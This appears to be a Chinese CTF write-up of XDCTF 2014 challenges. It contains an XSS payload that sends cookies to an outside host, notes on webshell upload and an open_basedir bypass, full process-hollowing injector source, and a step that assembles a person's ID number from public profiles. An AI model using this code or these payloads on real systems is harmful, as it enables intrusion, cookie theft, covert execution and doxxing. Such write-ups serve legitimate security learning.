首页 > 代码库 > XDCTF-Writeup

XDCTF-Writeup

Team:ROIS_ThreeLine(ET,Rice,liognaij)

Note:

这篇writeup由本人和两位队友共同完成,非个人单独作品。其中仅包含队伍提交通过的题目,在两位队友努力下取得第14的成绩,谨以此文为纪念。

若有幸被转载还请注明出处。

Web20

php彩蛋 URL后缀加上 ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 即可得到flag

http://game1.xdctf.com:8081/H86Ki4NnCSVv/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

 

Web50

大致看了下源码文件,发现没有flag  仔细看可以发现有两个文件修改时间和其他的不一样

 

Manifest.json打开里面有这么一行:

"Key":"dGhlIGZvbGxvd2luZyBrZXkgaXMgbm90IHRoZSByZWFseSBrZXksIHlvdSBjYW4gZmluZCBpbiB0aGUgb3RoZXIgZmlsZSE="

Base64解码发现不是真正的flag ,并被告知真正flag在另一个文件。图片隐写?Winhex打开fuck.jpg 得到一串ASCII码,转换字符得到真正flag。

XDSec@2O14    #一开始有bug 提交会出错,后来修正了

Web70

过滤字符和数字,就到谷歌搜如何绕过,使用jsFuck编码,找到这个网址http://patriciopalladino.com/files/hieroglyphy/,生成alert(/xss/)代码

exp太长不贴出,成功弹窗

 

Web100

右键源码,发现注释里有提示src/2328266727.png,打开是一个二维码,手机扫一扫是一篇文章,讲的是图片隐藏,lsb图片隐藏,拿出神器stegsolve,点data extract,red最后一位0位置上打勾,点击preview,key就出来了

Web150

搜索一下 php解密 用php神盾解密,以pass为关键字在明文中搜索,很快就得到flag了 

 

XDSE@L0VEr2014

Web180

题目链接下载网站源码,解压后发现about.asp文件没了,直接在压缩包查看,发现about.asp为网站不死马,找到着两行:

mNametitle ="gh0st2014"  ‘ 标题

Copyright="qq:2725629821"  ‘版权

直接搜索QQ号,得到昵称和个人详细地址生日,进入空间得到身份证后四位,拼凑出完整身份证。按照题目要求填入帐号密码得到flag

Web200

存在这个文件http://y0pk678.xdctf.com:8081/read?file=newapp.py

但是每次只会随机返回两行,然后就慢慢去拼凑,拼凑了一些比较有用的

urls = (         /getflag, xdctf         )def func(a):         if a == le4f.net:                   flag = open("flagishere","r").readlines()[0].strip()                   web.header(flag, flag)                   return Nice Job!!!         else:                   passclass xdctf:                   try:       
            web.input(_unicode=func(web.input(unabletoread=showmeflag!!!!).get(unabletoread))) return "flag is here?!!show me flag!!!!" except: Pass

_unicode存在漏洞

漏洞原理http://www.leavesongs.com/PENETRATION/web-py-runcode-tip.html

构造:http://y0pk678.xdctf.com:8081/getflag?unabletoread=le4f.net

然后抓包,查看response,就可以在header看到flag了

flag: XDCTF{X1di4nUn1Vers1tySecT3AM}

Web250

Xss题,根据提示,用 [ ] 代替 < > 作为标签符号,经测试可以发现过滤了 . < > = 可以使用<svg>标签加编码绕过,再闭合<p>标签,最终exp:

[/p][svg][script]&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#46;&#104;&#114;&#101;&#102;&#61;&#34;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#120;&#120;&#46;&#99;&#111;&#109;&#47;&#103;&#101;&#116;&#46;&#112;&#104;&#112;&#63;&#109;&#115;&#103;&#61;&#34;&#43;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#111;&#111;&#107;&#105;&#101;[/script][p]

Web270[1]

提示很明显,我们要从phpok这个网站入手,乌云上搜phpok的漏洞,前台任意文件上传getshell那个漏洞试了几次无法利用,用phpok的sql注入漏洞,拿出sqlmap跑,翻翻数据库,很快就跑出第一题的flag

 

也跑出用户名admin ,密码198712

这里要注意解密密码的md5时候要把后面多余的:a5去掉,然后解密得到的明文也要去掉a5

Web270[2]

用admin和198712登录网站后台,找到模版管理,可以添加.php格式模版,直接贴上一句话(大概这样,网站打不开了,具体名字记不大清),连上菜刀,在网站根目录看到了thereisaflag~.php,打开文件就看到了flag-3rdf1agis0nth155erver 

Web270[3]

flag2提示flag3在服务器上,虽然有shell,但是没有跨目录权限,open_basedir的限制。就谷歌搜open_basedir bypass,然后找到一个php exp,主要利用sqlite一个漏洞,然后把这个php exp传到shell上,访问这个文件,一直点上层目录,然后就发现flag-whyflagisastupidfilename.txt这个文件,把后缀去掉就是flag了

exp地址:http://www.jinglingshu.org/?p=4989 

Web270[4]

上大马,根据题目提到flag形式,直接搜索关键字flag-,然后就有了

 

Crack100

用de4dot脱壳,之后用ILSpy看源码,发现有flag.rs,就在ReverseMe.exe目录下创建了flag.rs文件,输入aaa,运行ReverseMe.exe,得到あああ,多试几次后发现时单字符替换,于是就把可见的字符输入flag.rs,运行ReverseMe.exe,得到相应的密文,通过对照解出了41为的flag,cplg1r7f3~xq-%!>+@sb19)<0^&key#oXDSEC2014,提交错误。看到提示flag是44位的,

就在41位的flag后面加了3位,运行ReverseMe.exe,密文只剩下32位。分析main()函数发现41位的flag的前32位加密方法与44位flag的前32位加密方法是一样的,但44位flag的后12位多经过了2个处理,分别是method0和method1,说明44位flag的后12位经过method0和method1后变成了41位flag的后9位,把XDSEC2014 base64加密后刚好12位,再和array数组异或就得到了44位flag的后12位,加上41位flag的前32位就得到了完整的44位flag

cplg1r7f3~xq-%!>+@sb19)<0^&key#o==4102cesdx=

 

Crack120

用uncompyle2对unknownScript进行反编译,得到源码,对源码进行分析,发现加密过程是把文件读入,进行加工后输出,输出的每一个字节的低七位代表输入文件的连续相同位的个数(最大为127),最高位代表该位的值。

例如输入文件二进制为

11000000,

00110111,

对应输出为0x06,0x85,0x01,0x82,0x02

写出解密程序,解密得到有flag的图片

 

解密程序源码:

#include<stdio.h>char plain[60000]={0};int main(){         int i,count = 0;         char c1,c2;         FILE * fin_in = fopen("data","rb");         FILE * fin_out = fopen("flag.jpg","wb");         while(fscanf(fin_in,"%c",&c1)!= EOF)         {                   c2 = c1;                   c1 = c1>=0?c1:c1^0x80;                   if(c2<0)                   {                            for(i=0;i<c1;i++)                            {                                     plain[(count+i)/8]|=1<<((count+i)%8);                            }                   }                   count += c1;         }         for(i=0;i<count/8;i++)         {                   fprintf(fin_out,"%c",plain[i]);         }         fclose(fin_in);         fclose(fin_out);         fin_in=NULL;         fin_out=NULL;         return 0;}
View Code

Crack150

Apk题目,反编译发现提示xx神器,想起之前看过的关于这个的新闻,网上查了下分析过程,锁定aseert文件夹的k.jpg文件,winhex尝试看了下,发现最后有包含key  md5字样的乱码,往上有dex文件头,果断抠出,用notepad  utf-8格式打开,得到flag:

“key”的小写16位md5加密

Crack180

看到密文有很多的AB,觉得是培根加密,写了个脚本对截获的密文解密还是看不出什么

nc game1.xdctf.com 50008

创建一个帐号1,记下One-time-Password是a0a5c5b828c303846d2a669a4a54cb0e

之后对自己进行转帐获得密文

562041AAAAA90AABAB7AABAB193AAAAA977AAAAA4AAAAA504AAABB3AABAB

137AAABAAAAAA8AAABBAAABAAABAB7AABAA71AABAAAAABBAABAB143AABAA

AAABA6AAAABAAABB99AAAAA7AABAAAABABAAAABAABAB4AAAAAAABAA5AAAA

A0AAAAA5AAABA5AAAAB828AAABA303846AAABB2AAAAA669AAAAA4AAAAA54

AAABAAAAAB0AABAA562041AAAAA90AABAB7AABAB193AAAAA977AAAAA4AAA

AA504AAABB3AABAB137AAABA7AAABB4AAABA01AAAAB242927AAAABAABAA0

643AABAB06AABABAAAABAABAA29AAAAB10AAAAAAABAA

解密得到

562041a90f7f193a977a4a504d3f137ca8dcf7e71edf143ec6bd9

9a7efbf4ae5a0a5c5b828c303846d2a669a4a54cb0e562041a90f

7f193a977a4a504d3f137c7d4c01b242927be0643f06fbe29b10ae

发现其中含有One-time-Password,

多创建几个帐号后发现One-time-Password总是在第65-96位,

对截获的秘文解密后取第65-96位,成功登录Ph的帐号,

Please choose the Mode of Transfer

时要选第三个才能成功向Z2333转帐,转帐成功后就能得到

flag:xdctf{d4d5906bb2f30b3bbbc1d915e6ba0f7321}

解密脚本:

#!usr/bin/python# Filename:Bacon_Decrypt.pydict = {      AAAAA:a,         AAAAB:b,         AAABA:c,         AAABB:d,         AABAA:e,         AABAB:f         }ciphertext = raw_input(Input the ciphertext : \n)i=0plaintext=‘‘length = len(ciphertext)while(i<length):         if ciphertext[i].isdigit():                   plaintext += ciphertext[i]                   i +=1         else:                   plaintext += dict[ciphertext[i:i+5]]                   i += 5print plaintext[64:96]
View Code

Code120

按照运行原理,进入应用程序之前要先把返回地址(该地址位于kernel32.dll中)压入栈中,再转向应用程序去执行,也就是说在刚刚进入应用程序后栈顶是一个位于 kernel32.dll 中的地址,我们得到这个地址后向可以向系统内存的低地址进行搜索得到kernel32.dll的装载基址。因为 dll 文件也是标准的 PE 文件,所以得到装载基址后,可以通过搜索kernel32.dll的导出表得到GetProcAddress和LoadLibrary的内存地址,再通过LoadLibrary加载user32.dll,再调用GetProcAddress获得MessageBox的地址加以调用就可以了。

程序源码:

#include<windows.h>#include<stdio.h>char GetProcAddrName[]={G,e,t,P,r,o,c,A,d,d,r,e,s,s};char LoadLibAddrName[]={L,o,a,d,L,i,b,r,a,r,y,A};HMODULE hDllLib;HMODULE (__stdcall*LLib)(LPCSTR lpLibFileName);FARPROC (__stdcall*GPro)(HMODULE hModule,LPCSTR lpProcName);int (__stdcall*fpFun)(HWND,LPSTR,LPSTR,UINT);DWORD FindFun(DWORD,char*);int main(){    DWORD KernelBase;    IMAGE_DOS_HEADER * doshead;    IMAGE_NT_HEADERS * nthead;        _asm    {        mov eax,[ebp]            mov eax,[eax+4]            mov KernelBase,eax    }    KernelBase&=0xFFFF0000;        while(KernelBase>=0x70000000)    {        doshead=(IMAGE_DOS_HEADER*)KernelBase;        if(doshead->e_magic==IMAGE_DOS_SIGNATURE)        {            nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew);            if(nthead->Signature==IMAGE_NT_SIGNATURE)            {                break;            }        }        KernelBase-=0x00010000;    }    LLib=(HMODULE(__stdcall*)(LPCSTR))(FindFun(KernelBase,LoadLibAddrName));    GPro=(FARPROC(__stdcall*)(HMODULE,LPCSTR))(FindFun(KernelBase,GetProcAddrName));    hDllLib = (*LLib)("user32");    fpFun=(int(__stdcall *)(HWND,LPSTR,LPSTR,UINT))(*GPro)(hDllLib,"MessageBoxA");    fpFun(NULL,"Hello Word","Hello Word",MB_OK);    return 0;}DWORD FindFun(DWORD KernelBase,char* Fname){    unsigned i,j,num;    char * FunName;    WORD * AddrOfNameOrRVA;    DWORD AddrOfProcAddr;    DWORD * AddrOfNameRVA,* AddrOfFun;    IMAGE_DOS_HEADER * pFile1;    IMAGE_NT_HEADERS * pFile2;    IMAGE_EXPORT_DIRECTORY * pExport;        pFile1=(IMAGE_DOS_HEADER*)KernelBase;    pFile2=(IMAGE_NT_HEADERS*)((PBYTE)pFile1+pFile1->e_lfanew);    pExport=(IMAGE_EXPORT_DIRECTORY*)        ((PBYTE)pFile1+pFile2->OptionalHeader.DataDirectory[0].VirtualAddress);        AddrOfNameRVA=(DWORD*)(KernelBase+pExport->AddressOfNames);    for(i=0;i<(int)pExport->NumberOfNames;i++)    {        FunName=(char *)(KernelBase+AddrOfNameRVA[i]);        BOOL eql = TRUE;                for(j=0;j<strlen(Fname);j++)        {            if(Fname[j]!=FunName[j])            {                eql=FALSE;                break;            }        }        if(eql)        {            AddrOfNameOrRVA=(WORD*)(KernelBase+pExport->AddressOfNameOrdinals);            num=pExport->Base+AddrOfNameOrRVA[i];            AddrOfFun=(DWORD*)(KernelBase+pExport->AddressOfFunctions);            AddrOfProcAddr = KernelBase + AddrOfFun[num-1];            break;        }    }    return AddrOfProcAddr;}
View Code

Code200

通过给CreateProcess传递CREATE_SUSPENDED参数来使calc.exe处于挂起状态,通过读取server.exe的内容来覆盖刚创建的处于挂起状态的calc.exe的空间,然后通过原始进程的空间来执行server.exe的内容

zombie.exe源码:

#include <stdio.h>#include <windows.h>#include <tlhelp32.h>struct PE_Header {    unsigned long signature;    unsigned short machine;    unsigned short numSections;    unsigned long timeDateStamp;    unsigned long pointerToSymbolTable;    unsigned long numOfSymbols;    unsigned short sizeOfOptionHeader;    unsigned short characteristics;};struct PE_ExtHeader{    unsigned short magic;    unsigned char majorLinkerVersion;    unsigned char minorLinkerVersion;    unsigned long sizeOfCode;    unsigned long sizeOfInitializedData;    unsigned long sizeOfUninitializedData;    unsigned long addressOfEntryPoint;    unsigned long baseOfCode;    unsigned long baseOfData;    unsigned long imageBase;    unsigned long sectionAlignment;    unsigned long fileAlignment;    unsigned short majorOSVersion;    unsigned short minorOSVersion;    unsigned short majorImageVersion;    unsigned short minorImageVersion;    unsigned short majorSubsystemVersion;    unsigned short minorSubsystemVersion;    unsigned long reserved1;    unsigned long sizeOfImage;    unsigned long sizeOfHeaders;    unsigned long checksum;    unsigned short subsystem;    unsigned short DLLCharacteristics;    unsigned long sizeOfStackReserve;    unsigned long sizeOfStackCommit;    unsigned long sizeOfHeapReserve;    unsigned long sizeOfHeapCommit;    unsigned long loaderFlags;    unsigned long numberOfRVAAndSizes;    unsigned long exportTableAddress;    unsigned long exportTableSize;    unsigned long importTableAddress;    unsigned long importTableSize;    unsigned long resourceTableAddress;    unsigned long resourceTableSize;    unsigned long exceptionTableAddress;    unsigned long exceptionTableSize;    unsigned long certFilePointer;    unsigned long certTableSize;    unsigned long relocationTableAddress;    unsigned long relocationTableSize;    unsigned long debugDataAddress;    unsigned long debugDataSize;    unsigned long archDataAddress;    unsigned long archDataSize;    unsigned long globalPtrAddress;    unsigned long globalPtrSize;    unsigned long TLSTableAddress;    unsigned long TLSTableSize;    unsigned long loadConfigTableAddress;    unsigned long loadConfigTableSize;    unsigned long boundImportTableAddress;    unsigned long boundImportTableSize;    unsigned long importAddressTableAddress;    unsigned long importAddressTableSize;    unsigned long delayImportDescAddress;    unsigned long delayImportDescSize;    unsigned long COMHeaderAddress;    unsigned long COMHeaderSize;    unsigned long reserved2;    unsigned long reserved3;};struct SectionHeader{    unsigned char sectionName[8];    unsigned long virtualSize;    unsigned long virtualAddress;    unsigned long sizeOfRawData;    unsigned long pointerToRawData;    unsigned long pointerToRelocations;    unsigned long pointerToLineNumbers;    unsigned short numberOfRelocations;    unsigned short numberOfLineNumbers;    unsigned long characteristics;};struct MZHeader{    unsigned short signature;    unsigned short partPag;    unsigned short pageCnt;    unsigned short reloCnt;    unsigned short hdrSize;    unsigned short minMem;    unsigned short maxMem;    unsigned short reloSS;    unsigned short exeSP;    unsigned short chksum;    unsigned short exeIP;    unsigned short reloCS;    unsigned short tablOff;    unsigned short overlay;    unsigned char reserved[32];    unsigned long offsetToPE;};struct ImportDirEntry{    DWORD importLookupTable;    DWORD timeDateStamp;    DWORD fowarderChain;    DWORD nameRVA;    DWORD importAddressTable;};bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,                SectionHeader **outSecHdr){    fseek(fp, 0, SEEK_END);    long fileSize = ftell(fp);    fseek(fp, 0, SEEK_SET);        if(fileSize < sizeof(MZHeader))    {                return false;    }    MZHeader mzH;    fread(&mzH, sizeof(MZHeader), 1, fp);        if(mzH.signature != 0x5a4d)    {        return false;    }        if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))    {                return false;    }    fseek(fp, mzH.offsetToPE, SEEK_SET);    PE_Header peH;    fread(&peH, sizeof(PE_Header), 1, fp);        if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))    {        return false;    }        PE_ExtHeader peXH;        fread(&peXH, sizeof(PE_ExtHeader), 1, fp);        SectionHeader *secHdr = new SectionHeader[peH.numSections];        fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);        *outMZ = mzH;    *outPE = peH;    *outpeXH = peXH;    *outSecHdr = secHdr;        return true;}int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,                       SectionHeader *inSecHdr){    int result = 0;    int alignment = inpeXH->sectionAlignment;        if(inpeXH->sizeOfHeaders % alignment == 0)        result += inpeXH->sizeOfHeaders;    else    {        int val = inpeXH->sizeOfHeaders / alignment;        val++;        result += (val * alignment);    }            for(int i = 0; i < inPE->numSections; i++)    {        if(inSecHdr[i].virtualSize)        {            if(inSecHdr[i].virtualSize % alignment == 0)                result += inSecHdr[i].virtualSize;            else            {                int val = inSecHdr[i].virtualSize / alignment;                val++;                result += (val * alignment);            }        }    }        return result;}unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment){        if(curSize % alignment == 0)        return curSize;    else    {        int val = curSize / alignment;        val++;        return (val * alignment);    }}bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,            SectionHeader *inSecHdr, LPVOID ptrLoc){    char *outPtr = (char *)ptrLoc;        fseek(fp, 0, SEEK_SET);    unsigned long headerSize = inpeXH->sizeOfHeaders;        int i = 0;        for(i = 0; i < inPE->numSections; i++)    {        if(inSecHdr[i].pointerToRawData < headerSize)            headerSize = inSecHdr[i].pointerToRawData;    }        unsigned long readSize = fread(outPtr, 1, headerSize, fp);        if(readSize != headerSize)    {        return false;            }        outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);        for(i = 0; i < inPE->numSections; i++)    {        if(inSecHdr[i].sizeOfRawData > 0)        {            unsigned long toRead = inSecHdr[i].sizeOfRawData;            if(toRead > inSecHdr[i].virtualSize)                toRead = inSecHdr[i].virtualSize;                        fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);            readSize = fread(outPtr, 1, toRead, fp);                        if(readSize != toRead)            {                return false;            }            outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);        }        else        {            if(inSecHdr[i].virtualSize)                outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);        }    }        return true;}struct FixupBlock{    unsigned long pageRVA;    unsigned long blockSize;};void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,                  SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase){    if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)    {        FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);        long delta = newBase - inpeXH->imageBase;                while(fixBlk->blockSize)        {            int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;                        unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);                        for(int i = 0; i < numEntries; i++)            {                DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));                                int relocType = (*offsetPtr & 0xF000) >> 12;                                if(relocType == 3)                    *codeLoc = ((DWORD)*codeLoc) + delta;                offsetPtr++;            }                        fixBlk = (FixupBlock *)offsetPtr;        }    }    }#define TARGETPROC "calc.exe"typedef struct _PROCINFO{    DWORD baseAddr;    DWORD imageSize;} PROCINFO;BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo){    STARTUPINFO si = {0};        if(CreateProcess(NULL, TARGETPROC,        NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))            {        ctx->ContextFlags=CONTEXT_FULL;        GetThreadContext(pi->hThread, ctx);                DWORD *pebInfo = (DWORD *)ctx->Ebx;        DWORD read;        ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);                DWORD curAddr = outChildProcInfo->baseAddr;        MEMORY_BASIC_INFORMATION memInfo;        while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))        {            if(memInfo.State == MEM_FREE)                break;            curAddr += memInfo.RegionSize;        }        outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;                return TRUE;    }    return FALSE;}BOOL hasRelocationTable(PE_ExtHeader *inpeXH){    if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)    {        return TRUE;    }    return FALSE;}typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,            SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize){    STARTUPINFO si = {0};    PROCESS_INFORMATION pi;    CONTEXT ctx;    PROCINFO childInfo;        if(createChild(&pi, &ctx, &childInfo))     {                        LPVOID v = (LPVOID)NULL;                if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)        {            v = (LPVOID)childInfo.baseAddr;            DWORD oldProtect;            VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);                                            }        else        {            PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");                        if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)            {                v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);            }        }                if(!v && hasRelocationTable(inpeXH))        {            v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);            if(v)            {                        doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);            }        }                if(v)        {                        DWORD *pebInfo = (DWORD *)ctx.Ebx;            DWORD wrote;                                    WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);            PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);            peXH->imageBase = (DWORD)v;                        if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))            {                    ctx.ContextFlags=CONTEXT_FULL;                                                if((DWORD)v == childInfo.baseAddr)                {                    ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;                        }                else                {                                        ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;                    }                                SetThreadContext(pi.hThread,&ctx);                                ResumeThread(pi.hThread);                printf("成功 (PID = %d).\n", pi.dwProcessId);            }            else            {                TerminateProcess(pi.hProcess, 0);            }        }        else        {            TerminateProcess(pi.hProcess, 0);        }    }}int main(int argc, char* argv[]){    if(argc != 2)    {        printf("\nUsage: %s <EXE filename>\n", argv[0]);        return 1;    }        FILE *fp = fopen(argv[1], "rb");    if(fp)    {        MZHeader mzH;        PE_Header peH;        PE_ExtHeader peXH;        SectionHeader *secHdr;                if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))        {            int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);                        LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);            if(ptrLoc)            {                loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                                                                                doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);                                            }        }                fclose(fp);    }    return 0;}
View Code

server.exe源码:

#include <stdio.h>#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")LRESULT CALLBACK WinProc(HWND, UINT, WPARAM, LPARAM);int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow){    static TCHAR szAppName[] = TEXT("MyWindows");    HWND hwnd;    MSG msg;    WNDCLASS wndclass;        wndclass.style = CS_HREDRAW | CS_VREDRAW;    wndclass.lpfnWndProc = WinProc;    wndclass.cbClsExtra = 0;    wndclass.cbWndExtra = 0;    wndclass.hInstance = hInstance;    wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);    wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);    wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);    wndclass.lpszMenuName = NULL;    wndclass.lpszClassName = szAppName;        if(!RegisterClass(&wndclass))    {        MessageBox(NULL, TEXT("这个程序需要Windows NT!!!"),szAppName,MB_ICONERROR);        return 0;    }        hwnd = CreateWindow(szAppName,        TEXT("Hello World"),        WS_OVERLAPPEDWINDOW,        CW_USEDEFAULT,        CW_USEDEFAULT,        200,        200,        NULL,        NULL,        hInstance,        NULL);        ShowWindow(hwnd, iCmdShow);    UpdateWindow(hwnd);        while (GetMessage(&msg, NULL, 0, 0))    {        TranslateMessage(&msg);        DispatchMessage(&msg);    }        return msg.wParam;}LRESULT CALLBACK WinProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam){    HDC hdc;    PAINTSTRUCT ps;    RECT rect;    int len = 0;    WSADATA wd;    int ret = 0;    SOCKET s,c;    char sendBuf[1000]="", recvBuf[1000]="";    SOCKADDR_IN saddr, caddr;    ret = WSAStartup(MAKEWORD(2,2),&wd);        if(ret != 0)    {        return 0;    }    if(HIBYTE(wd.wVersion)!=2 || LOBYTE(wd.wVersion)!=2)    {        printf("初始化失败");        WSACleanup();        return 1;    }    s = socket(AF_INET, SOCK_STREAM, 0);    saddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);    saddr.sin_family = AF_INET;     saddr.sin_port = htons(80);        bind(s, (SOCKADDR *)&saddr, sizeof(SOCKADDR));    listen(s,5);    len = sizeof(SOCKADDR);        switch(message)    {    case WM_PAINT:        hdc = BeginPaint(hwnd,&ps);        GetClientRect(hwnd,&rect);        DrawText(hdc, TEXT("正在监听80端口!!!"), -1, &rect,            DT_SINGLELINE | DT_CENTER | DT_VCENTER);        EndPaint(hwnd, &ps);        c = accept(s, (SOCKADDR*)&caddr, &len);        sprintf(sendBuf, "Hello World\n");        send(c, sendBuf, strlen(sendBuf)+1, 0);        closesocket(c);        WSACleanup();        return 0;            case WM_DESTROY:        PostQuitMessage(0);        return 0;    }        return DefWindowProc(hwnd, message, wParam, lParam);}
View Code

命令行下输入zombie.exe server.exe

zombie.exe 会使calc.exe成为傀儡进程,之后加载server.exe来监听80端口

 

XDCTF-Writeup